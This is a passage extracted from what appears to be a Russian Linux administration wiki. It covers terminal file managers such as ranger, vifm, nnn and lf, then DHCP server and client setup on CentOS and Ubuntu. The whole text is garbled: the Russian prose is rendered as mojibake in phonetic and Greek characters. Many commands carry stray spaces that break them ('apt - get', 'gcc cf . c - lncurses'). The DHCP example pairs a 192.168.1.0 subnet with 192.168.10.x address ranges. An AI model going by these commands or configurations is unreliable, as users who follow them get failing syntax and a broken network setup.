ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ. ʆʥ ʠʤʝʝʪ vim-ʧʦʜʦʙʥʳʡ ʠʥʪʝʨʬʝʡʩ, ʧʨʝʜʚʘʨʠʪʝʣʴʥʳʡ 

ʧʨʦʩʤʦʪʨ ʚʳʙʨʘʥʥʦʛʦ ʬʘʡʣʘ ʠʣʠ ʢʘʪʘʣʦʛʘ, ʧʦʜʜʝʨʞʢʫ ʤʳʰʠ ʚ ʟʘʢʣʘʜʢʘʭ ʠ ʚʠʜ ʩʦ 

ʚʢʣʘʜʢʘʤʠ. 

 

ɼʣʷ ʫʩʪʘʥʦʚʢʠ ʨʝʡʥʜʞʝʨʘ ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ: 

sudo apt install ranger  #[Debian/Ubuntu]  

sudo yum install ranger  #[CentOS/RHEL]  

sudo dnf install ranger  #[Fedora]  

 

CFILES FAST TERMINAL FILE MANAGER 

Cfiles - ʵʪʦ ʙʳʩʪʨʳʡ ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ ʪʝʨʤʠʥʘʣʘ, ʥʘʧʠʩʘʥʥʳʡ ʥʘ C ʠ 

ʠʩʧʦʣʴʟʫʶʱʠʡ ʙʠʙʣʠʦʪʝʢʫ ncurses, ʧʦʭʦʞʠʡ ʥʘ Ranger, ʠ ʦʥ ʪʘʢʞʝ ʠʩʧʦʣʴʟʫʝʪ 

ʩʦʯʝʪʘʥʠʷ ʢʣʘʚʠʰ vi. 
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ʆʥ ʠʤʝʝʪ ʥʝʩʢʦʣʴʢʦ ʟʘʚʠʩʠʤʦʩʪʝʡ, ʪʘʢʠʭ ʢʘʢ cp, mv, fzf, xdg-open ʠ ʜʨʫʛʠʝ. 

ʅʝʩʤʦʪʨʷ ʥʘ ʪʦ, ʯʪʦ ʦʥ ʣʝʛʢʠʡ, ʝʛʦ ʫʩʪʘʥʦʚʢʘ ʪʨʝʙʫʝʪ ʝʱʝ ʥʝʩʢʦʣʴʢʠʭ ʰʘʛʦʚ. 

ʏʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ cfiles, ʩʥʘʯʘʣʘ ʚʘʤ ʥʫʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʠʥʩʪʨʫʤʝʥʪʳ ʨʘʟʨʘʙʦʪʢʠ, 

ʠʩʧʦʣʴʟʫʷ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ: 

sudo apt - get  install build - essential  #[Debian/Ubuntu]  

sudo yum groupinstall 'Development Tools'  #[CentOS/RHEL 7/6]  

ɿʘʪʝʤ ʢʣʦʥʠʨʫʡʪʝ ʨʝʧʦʟʠʪʦʨʠʡ cfiles ʠ ʫʩʪʘʥʦʚʠʪʝ ʝʛʦ, ʠʩʧʦʣʴʟʫʷ ʩʣʝʜʫʶʱʠʝ 

ʢʦʤʘʥʜʳ: 

git clone https :// github.com/mananapr/cfiles.git  

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/8-krutih-fajlovyh-menedzherov-linux-obzor-i-ustanovka/3.png
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cd cfiles  

gcc cf . c - lncurses - o cf  

sudo cp cf / usr / bin /  #ʀʣʠ ʩʢʦʧʠʨʫʡʪʝ ʢʫʜʘ-ʥʠʙʫʜʴ ʩʝʙʝ ʚ $PATH 

 

VIFM CONSOLE FILE MANAGER 

Vifm - ʝʱʝ ʦʜʠʥ ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ ʥʘ ʦʩʥʦʚʝ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ, ʠʩʧʦʣʴʟʫʶʱʠʡ 

ʠʥʪʝʨʬʝʡʩ curses. ʆʥ ʢʦʧʠʨʫʝʪ ʥʝʢʦʪʦʨʳʝ ʦʩʦʙʝʥʥʦʩʪʠ ʠʟ mutter. ɽʩʣʠ ʚʳ 

ʷʚʣʷʝʪʝʩʴ ʧʦʣʴʟʦʚʘʪʝʣʝʤ vim, ʚʘʤ ʥʝ ʥʫʞʥʦ ʠʟʫʯʘʪʴ ʥʦʚʳʡ ʥʘʙʦʨ ʢʦʤʘʥʜ ʜʣʷ 

ʨʘʙʦʪʳ ʩ vifm. ʆʥ ʠʩʧʦʣʴʟʫʝʪ ʦʜʠʥʘʢʦʚʳʝ ʩʦʯʝʪʘʥʠʷ ʢʣʘʚʠʰ, ʘ ʪʘʢʞʝ ʠʤʝʝʪ 

ʚʦʟʤʦʞʥʦʩʪʴ ʨʝʜʘʢʪʠʨʦʚʘʪʴ ʥʝʩʢʦʣʴʢʦ ʚʠʜʦʚ ʬʘʡʣʦʚ. 

ʂʘʢ ʠ ʜʨʫʛʠʝ ʢʦʥʩʦʣʴʥʳʝ ʬʘʡʣʦʚʳʝ ʤʝʥʝʜʞʝʨʳ, ʦʥ ʠʤʝʝʪ ʜʚʝ ʧʘʥʝʣʠ, 

ʧʦʜʜʝʨʞʠʚʘʝʪ ʘʚʪʦʟʘʧʦʣʥʝʥʠʝ. ʆʥ ʪʘʢʞʝ ʧʦʜʜʝʨʞʠʚʘʝʪ ʨʘʟʣʠʯʥʳʝ ʚʠʜʳ ʜʣʷ 

ʩʨʘʚʥʝʥʠʷ ʬʘʡʣʦʚʳʭ ʜʝʨʝʚʴʝʚ. ʊʘʢʞʝ ʩ ʥʠʤ ʚʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʚʳʧʦʣʥʷʪʴ 

ʫʜʘʣʝʥʥʳʝ ʢʦʤʘʥʜʳ. 

https://wiki.merionet.ru/
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ʏʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ Vifm ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ: 

sudo apt install vifm  #[Debian/Ubuntu]  

sudo yum install vifm  #[CentOS/RHEL]  

sudo dnf install vifm  #[Fedora]  

 

NNN TERMINAL FILE BROWSER 

Nnn - ʩʘʤʳʡ ʙʳʩʪʨʳʡ ʢʦʥʩʦʣʴʥʳʡ ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ ʚ ʥʘʰʝʤ ʩʧʠʩʢʝ. ʍʦʪʷ ʦʥ 

ʠʤʝʝʪ ʤʝʥʴʰʝ ʚʦʟʤʦʞʥʦʩʪʝʡ ʧʦ ʩʨʘʚʥʝʥʠʶ ʩ ʜʨʫʛʠʤʠ ʬʘʡʣʦʚʳʤʠ ʤʝʥʝʜʞʝʨʘʤʠ, 

ʦʥ ʯʨʝʟʚʳʯʘʡʥʦ ʣʝʛʦʢ ʠ ʥʘʠʙʦʣʝʝ ʙʣʠʟʦʢ ʢ ʥʘʩʪʦʣʴʥʦʤʫ ʬʘʡʣʦʚʦʤʫ ʤʝʥʝʜʞʝʨʫ ʧʦ 

https://wiki.merionet.ru/
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ʪʦʤʫ, ʯʪʦ ʚʳ ʤʦʞʝʪʝ ʧʦʣʫʯʠʪʴ ʥʘ ʢʦʥʩʦʣʠ. ʇʨʦʩʪʦʝ ʚʟʘʠʤʦʜʝʡʩʪʚʠʝ ʧʦʟʚʦʣʷʝʪ 

ʥʦʚʳʤ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʣʝʛʢʦ ʧʨʠʚʳʢʥʫʪʴ ʢ ʪʝʨʤʠʥʘʣʫ. 

 

ʏʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ nnn, ʚʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ: 

sudo apt install nnn  #[Debian/Ubuntu]  

sudo yum install nnn  #[CentOS/RHEL]  

sudo dnf install nnn  #[Fedora]  

 

LFM LAST FILE MANAGER 

https://wiki.merionet.ru/
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Lfm ʠʣʠ Last File Manager - ʢʦʥʩʦʣʴʥʳʡ ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ ʥʘ ʦʩʥʦʚʝ curses, 

ʥʘʧʠʩʘʥʥʳʡ ʥʘ Python 3.4. ʄʦʞʝʪ ʠʩʧʦʣʴʟʦʚʘʪʴʩʷ ʩ ʦʜʥʦʡ ʠʣʠ ʜʚʫʤʷ ʧʘʥʝʣʷʤʠ. ɺ 

ʥʝʤ ʝʩʪʴ ʥʝʩʢʦʣʴʢʦ ʧʦʣʝʟʥʳʭ ʬʫʥʢʮʠʡ, ʪʘʢʠʭ ʢʘʢ ʬʠʣʴʪʨʳ, ʟʘʢʣʘʜʢʠ, ʠʩʪʦʨʠʷ, VFS 

ʜʣʷ ʩʞʘʪʳʭ ʬʘʡʣʦʚ, ʜʨʝʚʦʚʠʜʥʘʷ ʩʪʨʫʢʪʫʨʘ ʠ ʧʨʷʤʘʷ ʠʥʪʝʛʨʘʮʠʷ ʩ ʢʦʤʘʥʜʦʡ 

ʧʦʠʩʢʘ, ʫʪʠʣʠʪʦʡ grep, ʢʦʤʘʥʜʦʡ df ʠ ʜʨʫʛʠʤʠ ʠʥʩʪʨʫʤʝʥʪʘʤʠ. ʊʘʢʞʝ ʜʦʩʪʫʧʥʳ 

ʢʘʩʪʦʤʥʳʝ ʪʝʤʳ. 

 

ʋʩʪʘʥʦʚʠʪʴ Lfm ʤʦʞʥʦ ʧʨʠ ʧʦʤʦʱʠ ʩʣʝʜʫʶʱʠʭ ʢʦʤʤʘʥʜ: 

sudo apt install lfm  #[Debian/ Ubuntu]  

sudo yum install lfm  #[CentOS/RHEL]  

sudo dnf install lfm  #[Fedora]  

sudo pacman - S lfm  #[Arch Linux]  

https://wiki.merionet.ru/
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ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʫʩʪʘʥʦʚʠʪʴ Lfm ʠʩʧʦʣʴʟʫʷ pip 

sudo pip install lfm  

 

LF ǫ LIST FILES 

Lf ï "List files" - ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ, ʥʘʧʠʩʘʥʥʳʡ ʥʘ Go, 

ʚʜʦʭʥʦʚʣʝʥʥʳʡ Ranger. ʇʝʨʚʦʥʘʯʘʣʴʥʦ ʦʥ ʙʳʣ ʧʨʝʜʥʘʟʥʘʯʝʥ, ʯʪʦʙʳ ʟʘʧʦʣʥʠʪʴ 

ʧʨʦʙʝʣʳ ʥʝʜʦʩʪʘʶʱʠʭ ʬʫʥʢʮʠʡ, ʢʦʪʦʨʳʝ ʙʳʣʠ ʫ Ranger. 

 

ʅʝʢʦʪʦʨʳʝ ʠʟ ʦʩʥʦʚʥʳʭ ʦʩʦʙʝʥʥʦʩʪʝʡ lf: 

ǒ ʕʪʦ ʢʨʦʩʩʧʣʘʪʬʦʨʤʝʥʥʦʩʪʴ - Linux, OSX, Windows (ʪʦʣʴʢʦ ʯʘʩʪʠʯʥʦ); 

ǒ ʆʜʠʥ ʜʚʦʠʯʥʳʡ ʬʘʡʣ ʙʝʟ ʢʘʢʠʭ-ʣʠʙʦ ʟʘʚʠʩʠʤʦʩʪʝʡ ʚʦ ʚʨʝʤʷ ʚʳʧʦʣʥʝʥʠʷ; 

https://wiki.merionet.ru/
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ǒ ʅʠʟʢʠʡ ʦʙʲʝʤ ʧʘʤʷʪʠ; 

ǒ ʂʦʥʬʠʛʫʨʘʮʠʷ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜ ʦʙʦʣʦʯʢʠ; 

ǒ ʅʘʩʪʨʘʠʚʘʝʤʳʝ ʩʦʯʝʪʘʥʠʷ ʢʣʘʚʠʰ. 

ʏʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ lf, ʧʨʦʩʪʦ ʟʘʛʨʫʟʠʪʝ ʩʙʦʨʢʫ, ʩʚʷʟʘʥʥʫʶ ʩ ʙʠʥʘʨʥʳʤʠ ʬʘʡʣʘʤʠ 

ʜʣʷ ʚʘʰʝʡ ʆʉ, ʩʦ ʩʪʨʘʥʠʮʳ ʨʝʣʠʟʦʚ lf. 

 

WCM COMMANDER 

ʇʦʩʣʝʜʥʝʡ ʚ ʥʘʰʝʤ ʩʧʠʩʢʝ ʷʚʣʷʝʪʩʷ WCM Commander, ʢʦʪʦʨʘʷ ʷʚʣʷʝʪʩʷ ʝʱʝ 

ʦʜʥʠʤ ʢʨʦʩʩʧʣʘʪʬʦʨʤʝʥʥʳʤ ʢʦʥʩʦʣʴʥʳʤ ʬʘʡʣʦʚʳʤ ʤʝʥʝʜʞʝʨʦʤ. ɸʚʪʦʨʳ WCM 

Commander ʥʘʤʝʨʝʚʘʣʠʩʴ ʩʦʟʜʘʪʴ ʢʨʦʩʩʧʣʘʪʬʦʨʤʝʥʥʳʡ ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ, 

ʢʦʪʦʨʳʡ ʠʤʠʪʠʨʫʝʪ ʬʫʥʢʮʠʠ Far Manager. 

https://wiki.merionet.ru/
https://github.com/gokcehan/lf/releases
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ʆʥ ʠʤʝʝʪ ʚʩʪʨʦʝʥʥʳʡ ʪʝʨʤʠʥʘʣ, ʚʩʪʨʦʝʥʥʳʡ ʪʝʢʩʪʦʚʳʡ ʨʝʜʘʢʪʦʨ ʠ ʩʨʝʜʩʪʚʦ 

ʧʨʦʩʤʦʪʨʘ, ʧʦʜʩʚʝʪʢʫ ʩʠʥʪʘʢʩʠʩʘ, ʚʠʨʪʫʘʣʴʥʫʶ ʬʘʡʣʦʚʫʶ ʩʠʩʪʝʤʫ ʠ ʦʯʝʥʴ 

ʙʳʩʪʨʳʡ ʧʦʣʴʟʦʚʘʪʝʣʴʩʢʠʡ ʠʥʪʝʨʬʝʡʩ. ʇʦʜʜʝʨʞʢʘ ʤʳʰʠ ʪʘʢʞʝ ʚʢʣʶʯʝʥʘ. ʇʘʢʝʪ 

ʜʣʷ ʢʘʞʜʦʡ ʆʉ ʤʦʞʥʦ ʥʘʡʪʠ ʥʘ ʩʪʨʘʥʠʮʝ ʟʘʛʨʫʟʢʠ WCM. 

 

ɡȿȺɣɖɏɂɅȼɂ 

ʕʪʦ ʙʳʣʘ ʥʘʰʘ ʢʦʨʦʪʢʘʷ ʧʨʝʟʝʥʪʘʮʠʷ ʦ ʥʝʢʦʪʦʨʳʭ ʚʝʜʫʱʠʭ ʬʘʡʣʦʚʳʭ 

ʤʝʥʝʜʞʝʨʘʭ ʢʦʥʩʦʣʠ Linux. ɽʩʣʠ ʚʳ ʜʫʤʘʝʪʝ, ʯʪʦ ʤʳ ʧʨʦʧʫʩʪʠʣʠ ʦʜʥʫ ʠʣʠ 

ʧʦʥʨʘʚʠʣʠʩʴ ʥʝʢʦʪʦʨʳʝ ʠʟ ʥʠʭ ʙʦʣʴʰʝ, ʧʦʞʘʣʫʡʩʪʘ, ʧʦʜʝʣʠʪʝʩʴ ʩʚʦʠʤʠ ʤʳʩʣʷʤʠ 

ʚ ʢʦʤʤʝʥʪʘʨʠʷʭ. 

 

https://wiki.merionet.ru/
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ǵȈșȚȘȖȑȒȈ DHCP șȍȘȊȍȘȈ ȕȈ CentOS ȐȓȐ Ubuntu 

ɋɉɊȿɅɆɁȺȿ FJER-ɉɂɈɁɂɈȿ Ɂ EGPUQ% ȼ VDVPUV 

ʇʘʢʝʪ DHCP-ʩʝʨʚʝʨʘ ʜʦʩʪʫʧʝʥ ʚ ʦʬʠʮʠʘʣʴʥʳʭ ʨʝʧʦʟʠʪʦʨʠʷʭ ʦʩʥʦʚʥʳʭ 

ʜʠʩʪʨʠʙʫʪʠʚʦʚ Linux, ʝʛʦ ʫʩʪʘʥʦʚʢʘ ʜʦʚʦʣʴʥʦ ʧʨʦʩʪʘ, ʧʨʦʩʪʦ ʚʳʧʦʣʥʠʪʝ 

ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

# yum install dhcp                 #CentOS 

$ sudo apt install isc - dhcp - server  #Ubuntu  

ʇʦʩʣʝ ʟʘʚʝʨʰʝʥʠʷ ʫʩʪʘʥʦʚʢʠ ʥʘʩʪʨʦʡʪʝ ʠʥʪʝʨʬʝʡʩ, ʥʘ ʢʦʪʦʨʦʤ ʚʳ ʭʦʪʠʪʝ, ʯʪʦʙʳ 

ʜʝʤʦʥ DHCP ʦʙʩʣʫʞʠʚʘʣ ʟʘʧʨʦʩʳ, ʚ ʬʘʡʣʝ ʢʦʥʬʠʛʫʨʘʮʠʠ /etc/default/isc-dhcp-

server ʠʣʠ /etc/sysconfig/dhcpd. 

# vim /etc/sysconfig/dhcpd                  #CentOS 

$ sudo vim / etc / default / isc - dhcp - server   #Ubuntu  

ʅʘʧʨʠʤʝʨ, ʝʩʣʠ ʚʳ ʭʦʪʠʪʝ, ʯʪʦʙʳ ʜʝʤʦʥ DHCPD ʧʨʦʩʣʫʰʠʚʘʣ eth0, ʫʩʪʘʥʦʚʠʪʝ 

ʝʛʦ ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʥʘʩʪʨʦʡʢʠ. 

DHCPDARGS=òeth0 ò 

ʉʦʭʨʘʥʠʪʝ ʬʘʡʣ ʠ ʚʳʡʜʠʪʝ. 

 

ɅȿɉɊɈɆɢȺȿ FJER-ɉɂɈɁɂɈȿ Ɂ EGPUQ% ȼ VDVPUV 

https://wiki.merionet.ru/


 
 

 

212                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ʆʩʥʦʚʥʦʡ ʬʘʡʣ ʢʦʥʬʠʛʫʨʘʮʠʠ DHCP ʥʘʭʦʜʠʪʩʷ ʧʦ ʘʜʨʝʩʫ /etc/dhcp/dhcpd.conf, 

ʢʦʪʦʨʳʡ ʜʦʣʞʝʥ ʩʦʜʝʨʞʘʪʴ ʥʘʩʪʨʦʡʢʠ ʪʦʛʦ, ʯʪʦ ʜʝʣʘʪʴ, ʛʜʝ ʜʝʣʘʪʴ ʠ ʚʩʝ ʩʝʪʝʚʳʝ 

ʧʘʨʘʤʝʪʨʳ, ʧʨʝʜʦʩʪʘʚʣʷʝʤʳʝ ʢʣʠʝʥʪʘʤ. 

ʕʪʦʪ ʬʘʡʣ ʚ ʦʩʥʦʚʥʦʤ ʩʦʩʪʦʠʪ ʠʟ ʩʧʠʩʢʘ ʦʧʝʨʘʪʦʨʦʚ, ʩʛʨʫʧʧʠʨʦʚʘʥʥʳʭ ʚ ʜʚʝ 

ʰʠʨʦʢʠʝ ʢʘʪʝʛʦʨʠʠ: 

ǒ ɻʣʦʙʘʣʴʥʳʝ ʧʘʨʘʤʝʪʨʳ: ʫʢʘʞʠʪʝ, ʚʳʧʦʣʥʷʪʴ ʣʠ ʟʘʜʘʯʫ, ʢʘʢ ʚʳʧʦʣʥʷʪʴ 

ʟʘʜʘʯʫ ʠʣʠ ʢʘʢʠʝ ʧʘʨʘʤʝʪʨʳ ʢʦʥʬʠʛʫʨʘʮʠʠ ʩʝʪʠ ʧʨʝʜʦʩʪʘʚʠʪʴ DHCP-

ʢʣʠʝʥʪʫ. 

ǒ ʆʙʲʷʚʣʝʥʠʷ: ʦʧʨʝʜʝʣʠʪʴ ʪʦʧʦʣʦʛʠʶ ʩʝʪʠ, ʫʢʘʟʘʪʴ ʩʦʩʪʦʷʥʠʝ ʢʣʠʝʥʪʦʚ, 

ʧʨʝʜʣʦʞʠʪʴ ʘʜʨʝʩʘ ʜʣʷ ʢʣʠʝʥʪʦʚ ʠʣʠ ʧʨʠʤʝʥʠʪʴ ʛʨʫʧʧʫ ʧʘʨʘʤʝʪʨʦʚ ʢ 

ʛʨʫʧʧʝ ʦʙʲʷʚʣʝʥʠʡ. 

ʊʝʧʝʨʴ ʦʪʢʨʦʡʪʝ ʠ ʦʪʨʝʜʘʢʪʠʨʫʡʪʝ ʬʘʡʣ ʢʦʥʬʠʛʫʨʘʮʠʠ ʜʣʷ ʥʘʩʪʨʦʡʢʠ ʚʘʰʝʛʦ 

DHCP-ʩʝʨʚʝʨʘ. 

------------  CentOS ------------   

# cp /usr/share/doc/dhcp - 4.2.5/dhcpd.conf.example /etc/dhcp/dhcpd.conf   

# vi /etc/dhcp/dhcpd.conf   

 

------------  Ubuntu  ------------  

$ sudo vim / etc / dhcp / dhcpd . conf    

https://wiki.merionet.ru/


 
 

 

213                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ʅʘʯʥʠʪʝ ʩ ʦʧʨʝʜʝʣʝʥʠʷ ʛʣʦʙʘʣʴʥʳʭ ʧʘʨʘʤʝʪʨʦʚ, ʢʦʪʦʨʳʝ ʷʚʣʷʶʪʩʷ ʦʙʱʠʤʠ ʜʣʷ 

ʚʩʝʭ ʧʦʜʜʝʨʞʠʚʘʝʤʳʭ ʩʝʪʝʡ, ʚ ʚʝʨʭʥʝʡ ʯʘʩʪʠ ʬʘʡʣʘ. ʆʥʠ ʙʫʜʫʪ ʧʨʠʤʝʥʷʪʴʩʷ ʢʦ 

ʚʩʝʤ ʦʙʲʷʚʣʝʥʠʷʤ: 

option domain - name "merionet.ru" ;  

option domain - name- servers ns1 . merionet . ru ,  ns2 . merionet . ru ;  

default - lease - time 3600 ;   

max- lease - time 7200 ;  

authoritative ;  

ɿʘʪʝʤ ʚʘʤ ʥʝʦʙʭʦʜʠʤʦ ʦʧʨʝʜʝʣʠʪʴ ʜʠʘʧʘʟʦʥ ʜʣʷ ʚʥʫʪʨʝʥʥʝʡ ʧʦʜʩʝʪʠ ʠ 

ʜʦʧʦʣʥʠʪʝʣʴʥʳʝ ʥʘʩʪʨʦʡʢʠ: 

subnet 192.168 . 1.0  netmask 255.255 . 255.0  {  

        option routers                  192.168 . 1.1 ;  

        option subnet - mask              255.255 . 255.0 ;  

        optio n domain - search            " merionet.ru " ;  

        option domain - name- servers      192.168 . 1.1 ;  

        range   192.168 . 10.10    192.168 . 10.100 ;  

        range   192.168 . 10.110    192.168 . 10.200 ;  
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}  

ʊʫʪ: 

ǒ subnet ï ʩʝʪʴ, ʚ ʢʦʪʦʨʦʡ ʙʫʜʫʪ ʨʘʙʦʪʘʪʴ ʥʘʩʪʨʦʡʢʠ; 

ǒ option routers ï ʰʣʶʟ ʧʦ-ʫʤʦʣʯʘʥʠʶ; 

ǒ option subnet-mask ï ʤʘʩʢʘ ʧʦʜʩʝʪʠ; 

ǒ range ï ʜʠʘʧʘʟʦʥ IP-ʘʜʨʝʩʦʚ; 

ǒ option domain-name-servers ï DNS-ʩʝʨʚʝʨʘ; 

ǒ option domain-name ï ʩʫʬʬʠʢʩ ʜʦʤʝʥʥʦʛʦ ʠʤʝʥʠ; 

ǒ option broadcast-address ð ʘʜʨʝʩ ʩʝʪʠ ʜʣʷ ʰʠʨʦʢʦʚʝʱʘʪʝʣʴʥʳʭ ʟʘʧʨʦʩʦʚ; 

ǒ default-lease-time, max-lease-time ð ʚʨʝʤʷ ʠ ʤʘʢʩʠʤʘʣʴʥʦʝ ʚʨʝʤʷ ʚ 

ʩʝʢʫʥʜʘʭ, ʥʘ ʢʦʪʦʨʦʝ DHCP-ʢʣʠʝʥʪ ʧʦʣʫʯʠʪ ʘʜʨʝʩ; 

ʆʙʨʘʪʠʪʝ ʚʥʠʤʘʥʠʝ, ʯʪʦ ʭʦʩʪʳ, ʢʦʪʦʨʳʤ ʪʨʝʙʫʶʪʩʷ ʩʧʝʮʠʘʣʴʥʳʝ ʧʘʨʘʤʝʪʨʳ 

ʢʦʥʬʠʛʫʨʘʮʠʠ, ʤʦʛʫʪ ʙʳʪʴ ʧʝʨʝʯʠʩʣʝʥʳ ʚ ʠʥʩʪʨʫʢʮʠʷʭ ʭʦʩʪʘ ʚ cʧʨʘʚʢʝ. 

 

man dhcp - options  

ʊʝʧʝʨʴ, ʢʦʛʜʘ ʚʳ ʥʘʩʪʨʦʠʣʠ ʜʝʤʦʥ DHCP-ʩʝʨʚʝʨʘ, ʚʘʤ ʥʫʞʥʦ ʟʘʧʫʩʪʠʪʴ ʩʣʫʞʙʫ ʥʘ 

ʥʝʢʦʪʦʨʦʝ ʚʨʝʤʷ ʠ ʚʢʣʶʯʠʪʴ ʝʝ ʘʚʪʦʤʘʪʠʯʝʩʢʠʡ ʟʘʧʫʩʢ ʧʨʠ ʩʣʝʜʫʶʱʝʡ ʟʘʛʨʫʟʢʝ 

ʩʠʩʪʝʤʳ, ʘ ʪʘʢʞʝ ʧʨʦʚʝʨʠʪʴ, ʨʘʙʦʪʘʝʪ ʣʠ ʦʥʘ, ʠʩʧʦʣʴʟʫʷ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ. 

------------  CentOS ------------   

# systemctl start dhcpd  
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# systemctl enable dhcpd  

# systemctl enable dhcpd  

 

------------  Ubuntu  ------------  

$ sudo systemctl start isc - dhcp - server  

$ sudo systemctl enable isc - dhcp - server  

$ sudo systemctl enable isc - dhcp - server  

ɿʘʪʝʤ ʨʘʟʨʝʰʠʪʝ ʚʳʧʦʣʥʝʥʠʝ ʟʘʧʨʦʩʦʚ ʢ ʜʝʤʦʥʫ DHCP ʚ ʙʨʘʥʜʤʘʫʵʨʝ, ʢʦʪʦʨʳʡ 

ʧʨʦʩʣʫʰʠʚʘʝʪ ʧʦʨʪ 67/UDP, ʟʘʧʫʩʪʠʚ ʝʛʦ. 

------------  CentOS ------------   

# firewall - cmd -- zone=public -- permanent -- add - service=dhcp  

# firewall - cmd -- reload  

 

#------------  Ubuntu ------------  

$ sudo ufw allow 67/ udp  

$ sudo ufw reload  
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ɅȿɉɊɈɆɢȺȿ ȺɣȼɂɅɊɆɁ FJER 

ʅʘʢʦʥʝʮ, ʚʘʤ ʥʫʞʥʦ ʧʨʦʚʝʨʠʪʴ, ʥʦʨʤʘʣʴʥʦ ʣʠ ʨʘʙʦʪʘʝʪ ʩʝʨʚʝʨ DHCP. ɺʦʡʜʠʪʝ ʥʘ 

ʥʝʩʢʦʣʴʢʦ ʢʣʠʝʥʪʩʢʠʭ ʢʦʤʧʴʶʪʝʨʦʚ ʚ ʩʝʪʠ ʠ ʥʘʩʪʨʦʡʪʝ ʠʭ ʥʘ ʘʚʪʦʤʘʪʠʯʝʩʢʦʝ 

ʧʦʣʫʯʝʥʠʝ IP-ʘʜʨʝʩʦʚ ʩ ʩʝʨʚʝʨʘ. 

ʀʟʤʝʥʠʪʝ ʩʦʦʪʚʝʪʩʪʚʫʶʱʠʡ ʬʘʡʣ ʢʦʥʬʠʛʫʨʘʮʠʠ ʜʣʷ ʠʥʪʝʨʬʝʡʩʘ, ʥʘ ʢʦʪʦʨʦʤ 

ʢʣʠʝʥʪʳ ʙʫʜʫʪ ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʧʦʣʫʯʘʪʴ IP-ʘʜʨʝʩʘ. 

 

ɅȿɉɊɈɆɢȺȿ ȺɣȼɂɅɊȿ FJER Ʌȿ EGPUQ% 

ɺ CentOS ʢʦʥʬʠʛʫʨʘʮʠʦʥʥʳʝ ʬʘʡʣʳ ʠʥʪʝʨʬʝʡʩʘ ʥʘʭʦʜʠʣʠʩʴ ʚ 

/etc/sysconfig/network-scripts/. 

# vim /etc/sys config/network - scripts/ifcfg - eth0  

ɼʦʙʘʚʴʪʝ ʩʣʝʜʫʶʱʠʝ ʧʘʨʘʤʝʪʨʳ: 

DEVICE=eth0  

BOOTPROTO=dhcp  

TYPE=Ethernet  

ONBOOT=yes  

ʉʦʭʨʘʥʠʪʝ ʬʘʡʣ ʠ ʧʝʨʝʟʘʧʫʩʪʠʪʝ ʩʝʪʝʚʦʡ ʩʝʨʚʠʩ (ʠʣʠ ʧʝʨʝʟʘʛʨʫʟʠʪʝ ʩʠʩʪʝʤʫ). 
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# systemctl restart network  

 

ɅȿɉɊɈɆɢȺȿ FJER-ȺɣȼɂɅɊȿ Ɂ VDVPUV 

ɺ Ubuntu 16.04 ʚʳ ʤʦʞʝʪʝ ʥʘʩʪʨʦʠʪʴ ʠʥʪʝʨʬʝʡʩ ʚ ʬʘʡʣʝ ʢʦʥʬʠʛʫʨʘʮʠʠ 

/etc/network/interfaces. 

$ sudo vi / etc / network / interfaces  

ɼʦʙʘʚʴʪʝ ʵʪʠ ʩʪʨʦʯʢʠ: 

auto   eth0  

iface eth0 inet dhcp  

ʉʦʭʨʘʥʠʪʝ ʬʘʡʣ ʠ ʧʝʨʝʟʘʧʫʩʪʠʪʝ ʩʝʪʝʚʦʡ ʩʝʨʚʠʩ (ʠʣʠ ʧʝʨʝʟʘʛʨʫʟʠʪʝ ʩʠʩʪʝʤʫ). 

$ sudo systemctl restart networking  

ɺ Ubuntu 18.04 ʩʝʪʝʚʦʝ ʫʧʨʘʚʣʝʥʠʝ ʢʦʥʪʨʦʣʠʨʫʝʪʩʷ ʧʨʦʛʨʘʤʤʦʡ Netplan. ɺʘʤ 

ʥʫʞʥʦ ʦʪʨʝʜʘʢʪʠʨʦʚʘʪʴ ʩʦʦʪʚʝʪʩʪʚʫʶʱʠʡ ʬʘʡʣ, ʥʘʧʨʠʤʝʨ, ʚ ʢʘʪʘʣʦʛʝ 

/etc/netplan/ 

$ sudo vim / etc / netplan / 01- netcfg . yaml  

ɿʘʪʝʤ ʚʢʣʶʯʠʪʝ dhcp4 ʧʦʜ ʢʦʥʢʨʝʪʥʳʤ ʠʥʪʝʨʬʝʡʩʦʤ, ʥʘʧʨʠʤʝʨ, ʧʦʜ ethernet, 

ens0, ʠ ʟʘʢʦʤʤʝʥʪʠʨʫʡʪʝ ʩʪʘʪʠʯʝʩʢʠʝ ʥʘʩʪʨʦʡʢʠ, ʩʚʷʟʘʥʥʳʝ ʩ IP: 

network :  

https://wiki.merionet.ru/


 
 

 

